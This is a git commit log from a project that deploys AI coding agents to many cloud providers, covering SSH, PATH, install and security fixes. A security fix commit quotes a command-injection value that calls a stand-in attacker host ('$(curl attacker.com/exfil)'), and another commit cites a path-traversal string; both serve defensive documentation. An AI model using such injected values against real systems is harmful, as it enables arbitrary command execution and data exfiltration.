- Handle 409 (dedup) as success — expected when cron fires every 15min
  but cycles take 35min
- Reduce workflow timeout-minutes from 5 to 2

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-18 06:54:07 -05:00
Ahmed Abushagur
db4aaa0c73
fix: prevent SSH hangs, fix command escaping, pin Python 3.12 for aider (#1439)
* fix: use uv --upgrade to ensure Python 3.13-compatible Pillow across all clouds

aider-chat on Python 3.13 fails with `ImportError: cannot import name
'_imaging' from 'PIL'` when an old Pillow version (pre-10.4) is resolved
— those releases have no Python 3.13 binary wheels, so the C extension
is missing at runtime.

Replace `--with 'Pillow>=10.2.0'` (which was silently broken — the `>`
and single quotes get mangled by `printf '%q'` in run_server before the
command reaches the remote machine) with `--upgrade`, which forces all
transitive deps including Pillow to their latest compatible versions.

Also adds a plain-text echo before the install so users see progress
instead of a silent hang during the 2-4 minute install.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* test: update aider/gptme/interpreter assertions from pip to uv

The install method for aider, gptme, and open-interpreter was changed
from pip to `uv tool install` across all clouds. The mock test
assertions still checked for the old `pip.*install.*` patterns, causing
9 failures (3 agents × 3 clouds).

Update patterns to match the actual `uv tool install` commands now used
in all cloud scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* ci: trigger test run for uv assertion fix

* fix: prevent SSH hangs, restore stderr, fix command escaping across clouds

- Add < /dev/null to ssh_run_server and generic_ssh_wait to prevent SSH
  stdin theft causing sequential install/verify/configure steps to hang
- Add ServerAliveInterval, ServerAliveCountMax, ConnectTimeout to default
  SSH_OPTS so long-running installs don't silently drop on flaky networks
- Remove 2>/dev/null from Fly.io run_server so remote command errors are
  no longer silently swallowed (--quiet flag still suppresses flyctl noise)
- Fix Fly.io printf '%q' double-quoting: remove extra quotes around
  $escaped_cmd that prevented the remote shell from consuming escapes,
  breaking && || | operators in commands
- Remove broken printf '%q' from Daytona run_server and interactive_session
  where it escaped shell operators into literal characters since daytona exec
  has no intermediate shell layer
- Pin aider to --python 3.12 instead of --with audioop-lts across all clouds

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add --pty to fly ssh console for interactive sessions

fly ssh console -C does not allocate a pseudo-terminal by default,
causing interactive TUI agents (aider, claude) to fail with
"Input is not a terminal (fd=0)" or completely unresponsive input.

Adding --pty forces PTY allocation, matching how other clouds handle
interactive sessions (SSH uses -t, Sprite uses -tty).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-18 04:23:15 -05:00
Ahmed Abushagur
d9e6d058e0
fix: use uv --upgrade to ensure Python 3.13-compatible Pillow across all clouds (#1436)
aider-chat on Python 3.13 fails with `ImportError: cannot import name
'_imaging' from 'PIL'` when an old Pillow version (pre-10.4) is resolved
— those releases have no Python 3.13 binary wheels, so the C extension
is missing at runtime.

Replace `--with 'Pillow>=10.2.0'` (which was silently broken — the `>`
and single quotes get mangled by `printf '%q'` in run_server before the
command reaches the remote machine) with `--upgrade`, which forces all
transitive deps including Pillow to their latest compatible versions.

Also adds a plain-text echo before the install so users see progress
instead of a silent hang during the 2-4 minute install.

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-18 03:21:59 -05:00
Ahmed Abushagur
633ce8eaac
feat: upgrade default server sizes, fix Fly.io agent installs, improve E2E tests (#1428)
- Upgrade default VM sizes across clouds for better agent performance:
  - Hetzner: cpx11 → cx23 (with cx22 fallback support for deprecated types)
  - DigitalOcean: s-2vcpu-2gb → s-2vcpu-4gb
  - Daytona: 2048MB → 4096MB memory
  - Oracle: VM.Standard.E2.1.Micro → VM.Standard.A1.Flex
  - OVH: d2-2 → d2-4
- Fix Fly.io agent failures:
  - Add Node.js + build-essential to wait_for_cloud_init (fixes npm-based agents)
  - Prepend PATH in interactive_session (fixes "source not found" errors)
- Fix openclaw installs across clouds: use explicit PATH export instead of source
- Fix DigitalOcean token validation (check "uuid" not "id")
- Fix AWS cloud-init: chown .bashrc/.zshrc to ubuntu user
- Improve Hetzner fallback: add "cheapest available" as last-resort fallback
- Upgrade E2E tests: per-combo auto-fix, credential collection, robustness fixes

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-17 22:17:08 -08:00
Ahmed Abushagur
963144ecbd
fix: use pipx to install Aider across all clouds (#1429)
Ubuntu 24.04 blocks system-wide pip installs (PEP 668 externally-managed-
environment). Switch all aider.sh scripts from `pip install aider-chat`
to `python3 -m pip install pipx && pipx install aider-chat`, which
installs into an isolated virtualenv and works on all target distros.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-17 22:16:39 -08:00
A
edb475e3d2
security: fix command injection in hetzner token extraction (#1418)
Fixes #1411

Replaced unsafe xargs -I{} pattern with grep -F for literal string matching
to prevent command injection if the hcloud context name contains shell
metacharacters.

Previous code: xargs interpolated context name directly into grep pattern
New code: grep -F treats context name as literal string (no interpretation)

Attack vector prevented: malicious context name like '$(curl attacker.com/exfil)'
could execute arbitrary commands during token extraction.

Agent: security-auditor

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-17 14:08:31 -05:00
A
f412fb69bc
ux: wait for OpenClaw gateway to be ready before launching TUI (#1385)
Fixes #1354 - users experienced a ~30s delay with "gateway not connected"
errors when trying to use OpenClaw immediately after launch.

Root cause: gateway takes time to bind to port 18789, but TUI launched
after only 2 seconds.

Solution: Add wait_for_openclaw_gateway() helper that polls the gateway
port (max 30s) before launching TUI, ensuring immediate usability.

Changes:
- shared/common.sh: Add wait_for_openclaw_gateway() function
- All openclaw.sh scripts (10 files): Replace sleep 2 with gateway readiness check

Agent: ux-engineer

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-17 03:49:53 -05:00
A
30138f6a8a
security: fix path traversal in CLI installer and hetzner token extraction (#1379)
Fixes #1376 - HIGH severity path traversal in CLI installer
Fixes #1377 - MEDIUM severity unquoted variable in hetzner token extraction

Changes:
- cli/install.sh: Replace string prefix matching with canonicalized path
  comparison to prevent path traversal in rm -rf cleanup. The previous
  check could be bypassed with sequences like "/tmp/../../home/user".
- hetzner/lib/common.sh: Quote xargs placeholder variable to prevent
  unexpected behavior if hcloud context name contains shell metacharacters.

Agent: security-auditor

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-17 01:51:13 -05:00
A
c4eccbd72f
feat: prioritize clouds with CLI installed + hcloud CLI integration (#1375)
* fix: auto-run gcloud auth login on expired GCP tokens

Instead of telling users to run `gcloud auth login` manually, just
run it automatically when auth check fails or instance creation hits
a reauthentication error, then retry.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat: prioritize clouds with CLI installed + hcloud CLI integration

When selecting a cloud provider, clouds are now sorted in 3 tiers:
1. Credentials detected (env vars set) — top priority
2. CLI installed (e.g., gcloud, hcloud, aws) — middle priority
3. Neither — default order

Also adds hcloud CLI-first support for Hetzner operations (server
create/delete/list, SSH key management, auth) with automatic fallback
to the existing REST API when hcloud is not available.

Closes #1370

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* refactor: rename aws-lightsail to aws across the project

Simplifies the cloud key from "aws-lightsail" to "aws" — AWS should
have a single entry regardless of the underlying service used.

Renames the directory, updates manifest.json matrix keys, CLI map,
test fixtures, README, and all agent scripts.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 20:12:35 -08:00
A
8d533d3908
fix: add error handling for critical ID/IP extraction failures (#1323)
Prevent silent failures when cloud API responses don't contain expected
server/instance IDs or IPs. Without these checks, scripts would continue
with empty variables, leading to cryptic failures downstream (e.g., "ssh
root@" or API calls with empty IDs).

Changes:
- fly: Check FLY_MACHINE_ID after extraction, fail fast with clear error
- ovh: Check OVH_INSTANCE_ID after extraction, fail fast with clear error
- hetzner: Check HETZNER_SERVER_ID and HETZNER_SERVER_IP (+ null check for jq)
- digitalocean: Check DO_DROPLET_ID after extraction, fail fast with clear error

Impact: Improves reliability by catching API response parsing failures
immediately rather than propagating empty values to SSH/API calls.

Agent: code-health

Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 20:22:48 -05:00
Ahmed Abushagur
758b575658
feat: add server lifecycle management (reconnect + delete) (#1363)
Wire up connection tracking across all 10 clouds so users can reconnect
to and delete previously spawned servers via `spawn list` and `spawn delete`.

Phase 1 - Connection tracking:
- Extend save_vm_connection() with cloud and metadata params
- Add save_vm_connection to create_server() in all cloud libs
- Extend VMConnection with cloud, deleted, deleted_at, metadata fields

Phase 2 - Delete via interactive picker:
- Add "Delete this server" option to spawn list picker
- Build delete scripts that reuse each cloud's destroy_server()
- Confirmation UX with spinner feedback
- Soft-delete marking in history (deleted records show [deleted])

Phase 3 - Standalone delete command:
- spawn delete (aliases: rm, destroy) with interactive picker
- Filter support: spawn delete -a <agent> -c <cloud>

Also improves reconnect hints for Fly (fly ssh console) and
Daytona (daytona ssh) connections.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 17:06:49 -08:00
L
55e6b2e88e
fix: use ~/.spawnrc for env vars instead of inlining into .bashrc (#1362)
Ubuntu's default .bashrc has an interactive-shell guard that exits
early in non-interactive contexts. When SSH runs a command string
(ssh -t user@host -- "cmd"), the shell is non-interactive, so
env vars appended to .bashrc are never loaded — causing Claude Code
to start without OpenRouter credentials and get rejected.

Fix: write env vars to ~/.spawnrc and have .bashrc/.zshrc source it.
Launch commands source ~/.spawnrc directly, bypassing the guard.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 17:05:17 -08:00
A
ec81c74594
refactor: introduce cloud adapter + spawn_agent runner system (#1340)
Eliminate ~70% boilerplate across 149 agent scripts by introducing a
standard cloud_* adapter interface and spawn_agent orchestration runner.

Each cloud's lib/common.sh now exports 7 adapter functions (cloud_authenticate,
cloud_provision, cloud_wait_ready, cloud_run, cloud_upload, cloud_interactive,
cloud_label) that wrap cloud-specific operations behind a uniform interface.

Agent scripts define hooks (agent_install, agent_env_vars, agent_launch_cmd,
etc.) and call `spawn_agent "Agent Name"` — the runner handles the full
deployment flow: auth → provision → wait → install → API key → env → config → launch.

- shared/common.sh: add spawn_agent(), _fn_exists(), _spawn_inject_env_vars()
- 10 cloud lib/common.sh files: add cloud_* adapter functions
- 149 agent scripts: rewrite to hook pattern (~40-80 lines → ~20-35 lines)
- test/run.sh: update 2 sprite test patterns for new adapter paths
- Net reduction: ~4,300 lines (2,257 added, 6,563 removed)

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 16:25:44 -08:00
A
392fbb7049
fix: source .bashrc in launch commands so env vars are available (#1325)
Env vars (OPENROUTER_API_KEY, ANTHROPIC_BASE_URL, etc.) are written to
~/.bashrc by inject_env_vars_* functions, but launch commands only
exported PATH inline — they never sourced .bashrc. This meant Claude
started without API keys.

Previously `source ~/.bashrc` was removed because fnm's eval corrupted
PATH. fnm has been completely removed from the codebase, so it's now
safe to source .bashrc again.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 15:00:24 -05:00
A
bcb59eb925
fix: stop sourcing rc files in launch command — fnm env destroys PATH (#1261)
Root cause: the launch command did `source ~/.bashrc; source ~/.zshrc; claude`.
The .zshrc contains `eval "$(fnm env)"` which outputs PATH with literal
"$PATH" in quotes instead of expanding it, destroying the entire PATH.

Confirmed via debugging:
- `ssh -t ... 'export PATH=...; which claude'` → works (/root/.bun/bin/claude)
- `ssh -t ... 'export PATH=...; source ~/.zshrc; which claude'` → "command not found"
- `source ~/.zshrc; echo $PATH` → `"/run/user/0/fnm_multishells/...":"$PATH"` (broken)

Fix:
- Remove `source ~/.bashrc` and `source ~/.zshrc` from ALL launch commands
- ssh -t creates a pseudo-terminal, so bash auto-sources .bashrc for env vars
- Explicit PATH export is all we need for finding the claude binary
- Remove fnm eval snippet from _finalize_claude_install (it poisoned rc files)
- Also: clean up stale ~/.bash_profile, fix cloud-init PATH, move node
  install after bun attempt

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 01:06:55 -08:00
A
3030b1d036
fix: revert .profile writes, use explicit PATH in launch commands (#1260)
Stop writing env vars to ~/.profile and ~/.bash_profile — only write to
.bashrc and .zshrc. The .profile approach caused issues because login
shells source it inconsistently across distros, and creating .bash_profile
makes bash -l skip .profile entirely.

Replace `bash -lc claude` launch commands with explicit PATH export +
source pattern across all cloud providers. This ensures claude is found
regardless of shell initialization quirks.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 00:43:49 -08:00
A
dac4c62d6c
fix: try bun before npm for Claude Code install, fix PATH in launch (#1249)
Two fixes:
1. Swap fallback order from curl → npm → bun to curl → bun → npm.
   Bun is faster and typically pre-installed. Use `bun i -g`.

2. Fix "claude: command not found" at launch. The default .bashrc has
   a non-interactive guard (`case $- in *i*) ;; *) return;; esac`)
   that skips PATH exports when sourced from SSH command strings.
   Fix: write env config to ~/.profile (always sourced by login shells)
   in addition to .bashrc/.zshrc, and launch with `bash -lc claude`
   which starts a login shell that sources ~/.profile.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:44:02 -08:00
A
db06ff84e0
fix: run claude install --force and persist fnm PATH to shell configs (#1245)
After installing Claude Code (via any method), run `claude install --force`
to set up shell integration, then ensure fnm bootstrap is persisted to both
.bashrc and .zshrc so interactive sessions can find node.

Also simplify all launch commands across 9 clouds: instead of hardcoding
PATH entries that may miss fnm, source the rc files which now contain all
the necessary PATH entries from both inject_env_vars and _finalize_claude_install.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:34:09 -08:00
A
6357e0b2d1
fix: ask GitHub CLI setup before provisioning, not after (#1243)
Previously offer_github_auth prompted interactively inside inject_env_vars_*,
which runs after the server is already provisioned. This means the user sits
through provisioning before being asked a simple yes/no question.

Split into two phases:
- prompt_github_auth: asks the question early (before create_server)
- offer_github_auth: executes the install later (after server is up),
  using the stored answer without re-prompting

Falls back to interactive prompt if prompt_github_auth was never called,
so non-claude scripts and older clouds keep working unchanged.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:20:59 -08:00
L
8641baae48
refactor: shared agent helpers + Claude Code install fallback (#1241)
Add 5 composable helper functions to shared/common.sh (install_agent,
verify_agent, get_or_prompt_api_key, inject_env_vars_cb, launch_session)
using the same callback pattern as offer_github_auth and
setup_claude_code_config. Refactor all 15 hetzner scripts to use them,
reducing total line count from 868 to 579 (-33%).

Add install_claude_code helper with 3-method fallback (curl → npm → bun)
and per-step error logging. When npm/bun fallback needs node, installs it
via fnm (platform-agnostic) with nodesource as Debian/Ubuntu fallback.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:03:08 -08:00
L
fffb3591c4
feat: wire shared/github-auth.sh into all agent flows (#1216)
* feat: wire shared/github-auth.sh into all agent flows

Add offer_github_auth() to shared/common.sh and call it from the
inject_env_vars_* functions so all agent flows automatically offer
GitHub CLI setup after env var injection — no per-script changes needed.

Changes:
- shared/common.sh: add offer_github_auth() function, call it from
  inject_env_vars_ssh() and inject_env_vars_local()
- sprite/lib/common.sh: call offer_github_auth() from
  inject_env_vars_sprite()
- OVH is covered automatically (inject_env_vars_ovh delegates to
  inject_env_vars_ssh)

Behavior:
- Prompts "Set up GitHub CLI (gh) on this machine? (y/N):"
- Defaults to No (non-blocking for users who don't need it)
- Skippable via SPAWN_SKIP_GITHUB_AUTH=1 env var for CI/automation
- Uses safe_read for curl|bash compatibility
- Downloads and runs shared/github-auth.sh on the remote VM

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* refactor: add shared agent setup helpers, deduplicate hetzner scripts (#1236)

Add 5 composable helper functions to shared/common.sh (install_agent,
verify_agent, get_or_prompt_api_key, inject_env_vars_cb, launch_session)
that use the same callback pattern as offer_github_auth and
setup_claude_code_config. Refactor all 15 hetzner agent scripts to use
them, reducing total line count from 868 to 579 (-33%).

Phase 1 of multi-phase rollout — remaining clouds to follow.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:00:53 -08:00
L
d8ac64863d
fix: inject env vars into both .bashrc and .zshrc, fix PATH across all clouds (#1213)
API keys and env vars were only written to .zshrc, so SSH sessions using
bash couldn't find credentials. Also fixes incorrect ~/.claude/local/bin
PATH (claude installs to ~/.local/bin) and syncs interactive_session PATH
with cloud-init PATH across all 9 clouds.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 17:30:40 -08:00
A
01ed74ba95
fix: Hetzner Claude Code installation + add --debug mode (#1198)
Fixed Hetzner installation issue where curl to claude.ai/install.sh
was returning 403 errors. Added fallback to use bun (already installed
by cloud-init) to install Claude Code.

Also added --debug flag to enable verbose bash output (set -x) for
easier troubleshooting.

Changes:
- hetzner/claude.sh: Use bun fallback installation method
- CLI: Added --debug flag support (v0.2.86)
- shared/common.sh: Enable set -x when SPAWN_DEBUG=1

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-15 16:37:04 -08:00
A
7609cf2d6f
refactor: reduce complexity in OAuth and Hetzner validation functions (#1132)
Extract helper functions to simplify complex control flow:
- try_oauth_flow: Extract _start_oauth_session_with_server helper to handle server startup phase, improving readability and testability
- _hetzner_resolve_server_type: Extract _hetzner_log_validation_error and _hetzner_log_type_change helpers to separate error handling logic from main flow

These changes reduce nesting levels and improve function cohesion while maintaining identical behavior.

Agent: complexity-hunter

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 17:43:05 -05:00
A
f121b60d80
fix(ux): show post-session summary with server status and reconnect info (#1037)
After an interactive SSH session ends, users are now shown:
- A warning that their server is still running (and may incur charges)
- A link to the cloud provider's dashboard to manage/delete it
- The SSH command to reconnect

This prevents users from unknowingly leaving servers running after
exiting their agent session. Covers all 25 SSH-based cloud providers.

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 20:06:40 -05:00
A
f586e19790
fix(security): replace unquoted heredocs with printf to prevent shell expansion in API keys (#1031)
Unquoted `<< EOF` heredocs in nanoclaw .env file creation cause shell
expansion of the API key value. If an API key contains `$`, backticks,
or `\`, the value is silently corrupted or could trigger command
execution. Replace with `printf '%s'` which safely writes the value
without interpretation.

Also fix unquoted variable expansion in upload_config_file's mv command
and the github-codespaces/openclaw.sh config heredoc.

Fixes 34 scripts across all cloud providers.

Agent: security-auditor

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 19:41:10 -05:00
A
0f60a2b082
fix: add actionable guidance to agent installation failures across 126 scripts (#966)
Add log_install_failed helper to shared/common.sh that provides
structured troubleshooting for agent install failures: possible causes,
SSH debug command (when server IP available), manual install command,
and re-run suggestion. Also improve SSH key registration error message.

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 10:14:03 -08:00
A
5ebe3e5a13
fix: add actionable guidance to destroy_server failures and service timeouts (#959)
When server destruction fails, users are left with a bare error message and
no indication that they may still be billed for a running server. This adds
dashboard URLs and clear warnings to destroy_server errors across 9 clouds
(Hetzner, UpCloud, Contabo, Netcup, RamNode, Hostinger, HOSTKEY, OVH,
Latitude). Also improves error messages for Koyeb (app creation, service
deployment, deployment timeout, instance ID), GitHub Codespaces (creation
failure, readiness timeout), and E2B (sandbox creation failure).

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 09:38:58 -08:00
A
3c3c697ea5
fix: json_escape SSH key names and fix GCP metadata injection (#958)
SSH key registration in 11 cloud providers used unescaped key_name
directly in JSON request bodies. If the hostname (used to generate
key names) contained JSON-special characters like double-quotes, it
could break out of the JSON string and inject arbitrary JSON fields.

Fix: use json_escape for key_name in all providers, matching the
pattern already used by Scaleway.

Also fix GCP create_server which embedded the startup script inline
in --metadata with comma delimiters. Commas in the script could break
metadata parsing or inject additional metadata keys. Fix: use
--metadata-from-file for the startup script.

Affected providers: Hetzner, DigitalOcean, Vultr, BinaryLane,
Hostinger, Contabo, Cherry, HOSTKEY, Civo, Linode, Genesis Cloud, GCP.

Agent: security-auditor

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 09:03:35 -08:00
A
51d217add1
refactor: deduplicate _ensure_jq and decompose DO create_server (#943)
- Extract `ensure_jq()` from hetzner and hostkey into shared/common.sh,
  eliminating 64 lines of identical duplicated code
- Decompose DigitalOcean `create_server()` by extracting error handling
  into `_do_check_create_error()` helper, and using the shared
  `extract_api_error_message` instead of inline Python parsing
- Use shared `_extract_json_field` for droplet ID extraction

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 07:25:08 -08:00
A
de5a0c16de
refactor: extract helpers from Hetzner server type validation (#845)
Break down _validate_server_type_for_location (74 lines -> 29 lines) and
create_server (64 lines -> 43 lines) by extracting focused helpers:

- _hetzner_get_available_ids: fetch datacenter availability data
- _hetzner_find_fallback_type: search for compatible alternative types
- _hetzner_resolve_server_type: handle validation errors and fallback logging

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-13 02:14:30 -08:00
A
a96b310861
refactor: reduce complexity in Hetzner _validate_server_type_for_location (#831)
- Extract _hetzner_find_candidates helper to eliminate duplicated jq
  candidate-search logic (same-family and any-family searches were
  nearly identical 15-line blocks)
- Consolidate 3 separate jq calls for wanted_cpu/cores/memory into
  a single jq invocation
- Replace duplicated replacement-picking code with a loop over
  family strategies

Function reduced from 106 to ~72 lines (plus 17-line reusable helper).

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-12 23:52:17 -08:00